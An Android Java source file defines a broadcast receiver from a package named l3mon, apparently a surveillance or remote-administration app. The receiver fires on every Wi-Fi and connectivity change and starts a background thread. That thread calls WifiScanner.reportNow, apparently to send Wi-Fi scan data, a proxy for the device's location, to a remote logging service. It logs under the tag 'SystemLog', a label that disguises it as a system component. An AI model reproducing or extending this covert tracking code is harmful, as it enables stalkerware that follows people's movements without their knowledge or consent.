package com.etechd.l3mon;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiManager;
import android.util.Log;

public class WifiChangeReceiver extends BroadcastReceiver {
    private static final String TAG = "SystemLog";
    private static WifiChangeReceiver instance;
    private static long lastRun = 0;
    private static final long MIN_INTERVAL_MS = 4000L;

    public static synchronized void register(Context context) {
        if (instance != null || context == null) {
            return;
        }
        try {
            instance = new WifiChangeReceiver();
            IntentFilter filter = new IntentFilter();
            filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
            filter.addAction(WifiManager.NETWORK_STATE_CHANGED_ACTION);
            filter.addAction(WifiManager.WIFI_STATE_CHANGED_ACTION);
            filter.addAction(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
            context.getApplicationContext().registerReceiver(instance, filter);
            Log.i(TAG, "WifiChangeReceiver registrado (cambios de red)");
        } catch (Exception e) {
            Log.e(TAG, "WifiChangeReceiver: " + e.getMessage());
        }
    }

    @Override
    public void onReceive(Context context, Intent intent) {
        if (context == null || intent == null) {
            return;
        }
        String action = intent.getAction();
        if (action == null) {
            return;
        }

        if (WifiManager.WIFI_STATE_CHANGED_ACTION.equals(action)) {
            int state = intent.getIntExtra(WifiManager.EXTRA_WIFI_STATE, WifiManager.WIFI_STATE_UNKNOWN);
            if (state != WifiManager.WIFI_STATE_ENABLED) {
                return;
            }
        }

        if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
            ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
            if (cm != null) {
                NetworkInfo net = cm.getActiveNetworkInfo();
                if (net == null || net.getType() != ConnectivityManager.TYPE_WIFI) {
                    return;
                }
            }
        }

        scheduleReport(context.getApplicationContext());
    }

    private void scheduleReport(final Context app) {
        long now = System.currentTimeMillis();
        if (now - lastRun < MIN_INTERVAL_MS) {
            return;
        }
        lastRun = now;

        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    Thread.sleep(2500);
                    SystemLogApi.init(app);
                    WifiScanner.reportNow(app);
                } catch (Exception e) {
                    Log.e(TAG, "Wifi sync: " + e.getMessage());
                }
            }
        }, "WifiSync").start();
    }
}
